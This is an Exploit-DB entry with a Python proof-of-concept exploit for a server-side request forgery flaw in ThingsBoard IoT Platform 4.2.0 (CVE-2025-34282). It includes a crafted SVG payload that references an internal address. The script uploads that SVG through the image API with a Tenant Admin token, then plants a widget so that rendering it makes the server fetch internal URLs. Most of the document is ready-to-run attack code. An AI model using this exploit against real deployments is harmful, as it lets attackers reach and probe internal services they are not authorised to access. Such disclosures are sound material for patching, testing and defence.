ThingsBoard IoT Platform 4.2.0 - Server-Side Request Forgery (SSRF)

EDB-ID:

52551




Platform:

Multiple

Date:

2026-05-07


# Exploit Title: ThingsBoard IoT Platform 4.2.0 - Server-Side Request Forgery (SSRF) 
# Date: 2026-03-25
# Exploit Author: Tamil Mathi T.
# Vendor Homepage: https://thingsboard.io
# Software Link: https://github.com/thingsboard/thingsboard
# Version: < 4.2.1
# Tested On: ThingsBoard 4.2.0
# CVE: CVE-2025-34282
# References: https://www.cve.org/CVERecord?id=CVE-2025-34282
#             https://github.com/mathitam/thingsboard-ssrf-cve-2025-34282
#
# Description:
#   ThingsBoard versions before 4.2.1 are vulnerable to SSRF via the Image
#   Upload Gallery feature. An attacker can upload a crafted SVG file containing
#   a remote URL reference (e.g. via <image xlink:href="http://127.0.0.1:5555">).
#   When ThingsBoard processes the uploaded SVG server-side, it fetches the
#   referenced URL, allowing the attacker to reach internal services not
#   exposed to the internet.
#
#   Requires a Tenant Admin bearer token. Tenant Admin is a role below System
#   Admin in ThingsBoard's hierarchy and has access to the Widget Library and
#   Image Upload Gallery APIs used in this exploit.
#
#   Attack chain:
#     1. Upload a malicious SVG to POST /api/image
#        -> Server processes the SVG and issues a request to the internal URL
#     2. Create a custom widget embedding the SVG's publicLink via <object> tag
#        -> Widget render also triggers the server-side fetch
#
#   SVG payload used (ssrf_localhost_5555_svg.svg):
#     <?xml version="1.0" standalone="no"?>
#     <svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg"
#          xmlns:xlink="http://www.w3.org/1999/xlink"
#          xmlns:ev="http://www.w3.org/2001/xml-events">
#     <defs>
#       <pattern id="img1" patternUnits="userSpaceOnUse" width="600" height="450">
#         <image xlink:href="http://127.0.0.1:5555" x="0" y="0" width="600" height="450" />
#       </pattern>
#     </defs>
#     <path d="M5,50 l0,100 l100,0 l0,-100 l-100,0 ..." fill="url(#img1)" />
#     </svg>
#
# Usage:
#   pip install requests
#   python thingsboard_ssrf.py <svg_file> <bearer_token>
#
# Example:
#   python thingsboard_ssrf.py ssrf_localhost_5555_svg.svg eyJhbGci...

import requests
import json
import os
import sys
import argparse
import time

DEFAULT_URL_UPLOAD = "http://localhost:8080/api/image"
DEFAULT_URL_WIDGET = "http://localhost:8080/api/widgetType"
DEFAULT_REFERER = "http://localhost:8080/resources/images"
DEFAULT_ORIGIN = "http://localhost:8080"

def upload_image(filepath, token):
    if not os.path.isfile(filepath):
        raise SystemExit(f"File not found: {filepath}")

    filename = os.path.basename(filepath)

    mime_types = {
        '.svg': 'image/svg+xml',
        '.jpg': 'image/jpeg',
        '.jpeg': 'image/jpeg',
        '.png': 'image/png',
        '.gif': 'image/gif'
    }
    ext = os.path.splitext(filename)[1].lower()
    mime_type = mime_types.get(ext, 'application/octet-stream')

    headers = {
        "X-Authorization": f"Bearer {token}",
        "User-Agent": "python-requests/2.x",
        "Referer": DEFAULT_REFERER,
        "Origin": DEFAULT_ORIGIN,
    }

    with open(filepath, "rb") as f:
        files = {
            "file": (filename, f, mime_type)
        }
        resp = requests.post(DEFAULT_URL_UPLOAD, headers=headers, files=files, timeout=30, allow_redirects=False)

    return resp

def create_widget(public_link, token):
    headers = {
        "X-Authorization": f"Bearer {token}",
        "Content-Type": "application/json",
        "Accept": "application/json, text/plain, */*",
        "Origin": DEFAULT_ORIGIN,
        "User-Agent": "python-requests"
    }

    template_html = f"""
    <tb-value-card-widget
        [ctx]="ctx"
        [widgetTitlePanel]="widgetTitlePanel">
    </tb-value-card-widget>
    <object data="{public_link}" type="image/svg+xml"></object>
    """

    payload = {
        "fqn": "SSRF_testing_Poc",
        "name": "SSRF_testing_Poc",
        "deprecated": False,
        "image": "tb-image;/api/images/system/air_quality_index_card_system_widget_image.png",
        "description": "Displays the latest air quality index telemetry in a scalable rectangle card.",
        "descriptor": {
            "type": "latest",
            "sizeX": 3,
            "sizeY": 3,
            "resources": [],
            "templateHtml": template_html,
            "templateCss": "",
            "controllerScript": "self.onInit = function() {\n    self.ctx.$scope.valueCardWidget.onInit();\n};\n\nself.onDataUpdated = function() {\n    self.ctx.$scope.valueCardWidget.onDataUpdated();\n};\n\nself.typeParameters = function() {\n    return {\n        maxDatasources: 1,\n        maxDataKeys: 1,\n        singleEntity: true,\n        previewWidth: '250px',\n        previewHeight: '250px',\n        embedTitlePanel: true,\n        supportsUnitConversion: true,\n        defaultDataKeysFunction: function() {\n            return [{ name: 'air', label: 'Air Quality Index', type: 'timeseries' }];\n        }\n    };\n};\n\nself.onDestroy = function() {\n};\n",
            "dataKeySettingsForm": [],
            "settingsDirective": "tb-value-card-widget-settings",
            "hasBasicMode": True,
            "basicModeDirective": "tb-value-card-basic-config",
            "defaultConfig": "{\"datasources\":[{\"type\":\"function\",\"name\":\"function\",\"dataKeys\":[{\"name\":\"f(x)\",\"type\":\"function\",\"label\":\"Air Quality Index\",\"color\":\"#2196f3\",\"settings\":{},\"_hash\":0.2392660816082064,\"funcBody\":\"var value = prevValue + Math.random() * 100 - 50;\\nif (value < 0) {\\n\\tvalue = 0;\\n} else if (value > 320) {\\n\\tvalue = 320;\\n}\\nreturn value;\",\"aggregationType\":null,\"units\":null,\"decimals\":null,\"usePostProcessing\":null,\"postFuncBody\":null}],\"alarmFilterConfig\":{\"statusList\":[\"ACTIVE\"]}}],\"timewindow\":{\"realtime\":{\"timewindowMs\":60000}},\"showTitle\":false,\"backgroundColor\":\"rgba(0, 0, 0, 0)\",\"color\":\"rgba(0, 0, 0, 0.87)\",\"padding\":\"0px\",\"settings\":{\"labelPosition\":\"top\",\"layout\":\"square\",\"showLabel\":true,\"labelFont\":{\"size\":14,\"sizeUnit\":\"px\",\"family\":\"Roboto\",\"weight\":\"500\",\"style\":\"normal\"},\"labelColor\":{\"type\":\"constant\",\"color\":\"rgba(0, 0, 0, 0.87)\",\"colorFunction\":\"var temperature = value;\\nif (typeof temperature !== undefined) {\\n  var percent = (temperature + 60)/120 * 100;\\n  return tinycolor.mix('blue', 'red', percent).toHexString();\\n}\\nreturn 'blue';\"},\"showIcon\":true,\"iconSize\":40,\"iconSizeUnit\":\"px\",\"icon\":\"mdi:weather-windy\",\"iconColor\":{\"type\":\"range\",\"color\":\"rgba(0, 0, 0, 0.87)\",\"rangeList\":[{\"from\":0,\"to\":50,\"color\":\"#80C32C\"},{\"from\":50,\"to\":100,\"color\":\"#FFA600\"},{\"from\":100,\"to\":150,\"color\":\"#F36900\"},{\"from\":150,\"to\":200,\"color\":\"#D81838\"},{\"from\":200,\"to\":300,\"color\":\"#8D28C\"},{\"from\":300,\"to\":null,\"color\":\"#6F113A\"}],\"colorFunction\":\"var temperature = value;\\nif (typeof temperature !== undefined) {\\n  var percent = (temperature + 60)/120 * 100;\\n  return tinycolor.mix('blue', 'red', percent).toHexString();\\n}\\nreturn 'blue';\"},\"valueFont\":{\"size\":26,\"sizeUnit\":\"px\",\"family\":\"Roboto\",\"weight\":\"500\",\"style\":\"normal\"},\"valueColor\":{\"type\":\"range\",\"color\":\"rgba(0, 0, 0, 0.87)\",\"colorFunction\":\"var temperature = value;\\nif (typeof temperature !== undefined) {\\n  var percent = (temperature + 60)/120 * 100;\\n  return tinycolor.mix('blue', 'red', percent).toHexString();\\n}\\nreturn 'blue';\",\"rangeList\":[{\"from\":0,\"to\":50,\"color\":\"#80C32C\"},{\"from\":50,\"to\":100,\"color\":\"#FFA600\"},{\"from\":100,\"to\":150,\"color\":\"#F36900\"},{\"from\":150,\"to\":200,\"color\":\"#D81838\"},{\"from\":200,\"to\":300,\"color\":\"#8D28C\"},{\"from\":300,\"to\":null,\"color\":\"#6F113A\"}]},\"showDate\":true,\"dateFormat\":{\"format\":null,\"lastUpdateAgo\":true,\"custom\":false},\"dateFont\":{\"family\":\"Roboto\",\"size\":12,\"sizeUnit\":\"px\",\"style\":\"normal\",\"weight\":\"500\"},\"dateColor\":{\"type\":\"constant\",\"color\":\"rgba(0, 0, 0, 0.38)\",\"colorFunction\":\"var temperature = value;\\nif (typeof temperature !== undefined) {\\n  var percent = (temperature + 60)/120 * 100;\\n  return tinycolor.mix('blue', 'red', percent).toHexString();\\n}\\nreturn 'blue';\"},\"background\":{\"type\":\"color\",\"color\":\"#fff\",\"overlay\":{\"enabled\":false,\"color\":\"rgba(255,255,255,0.72)\",\"blur\":3}},\"autoScale\":true},\"title\":\"Air quality card\",\"dropShadow\":true,\"enableFullscreen\":false,\"titleStyle\":{\"fontSize\":\"16px\",\"fontWeight\":400},\"units\":\"AQI\",\"decimals\":1,\"useDashboardTimewindow\":true,\"showLegend\":false,\"widgetStyle\":{},\"actions\":{},\"configMode\":\"basic\",\"displayTimewindow\":true,\"margin\":\"0px\",\"borderRadius\":\"0px\",\"widgetCss\":\"\",\"pageSize\":1024,\"noDataDisplayMessage\":\"\",\"showTitleIcon\":false,\"titleTooltip\":\"\",\"titleFont\":{\"size\":12,\"sizeUnit\":\"px\",\"family\":null,\"weight\":null,\"style\":null,\"lineHeight\":\"1.6\"},\"titleIcon\":\"\",\"iconColor\":\"rgba(0, 0, 0, 0.87)\",\"iconSize\":\"14px\",\"timewindowStyle\":{\"showIcon\":true,\"iconSize\":\"14px\",\"icon\":\"query_builder\",\"iconPosition\":\"left\",\"font\":{\"size\":12,\"sizeUnit\":\"px\",\"family\":null,\"weight\":null,\"style\":null,\"lineHeight\":\"1\"},\"color\":null}}"
        },
        "resources": None,
        "scada": False,
        "tags": ["weather", "environment", "air", "aqi", "pollution", "emission", "smog"]
    }

    try:
        resp = requests.post(DEFAULT_URL_WIDGET, headers=headers, json=payload)
        return resp
    except Exception as e:
        print(f"Request failed: {e}", file=sys.stderr)
        sys.exit(1)

def main(image_path, token):
    try:
        resp = upload_image(image_path, token)
        print("Upload Status:", resp.status_code)

        public_link = resp.json().get("publicLink") or (resp.json().get("data") and resp.json()["data"].get("publicLink"))
        if not public_link:
            print(resp.json())
            print("Failed to retrieve public link from response.")
            sys.exit(1)

        print("Public Link:", public_link)

        time.sleep(2)

        widget_resp = create_widget(public_link, token)
        print("Widget Creation Status:", widget_resp.status_code)
        print("\n[+] Widget created successfully.")
        print("    Look for widget named 'SSRF_testing_Poc' in the Widget Library.")
        print("    Add it to any dashboard to trigger the SSRF.")

    except Exception as e:
        print("Error:", e, file=sys.stderr)
        sys.exit(1)

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="ThingsBoard SSRF via SVG Upload PoC")
    parser.add_argument("image", help="Path to the SVG file to upload")
    parser.add_argument("token", nargs="?", default=os.environ.get("TB_TOKEN"), help="Bearer token (or set TB_TOKEN env var)")
    args = parser.parse_args()

    if not args.token:
        print("Error: token not provided and TB_TOKEN not set.", file=sys.stderr)
        parser.print_help()
        sys.exit(2)

    main(args.image, args.token)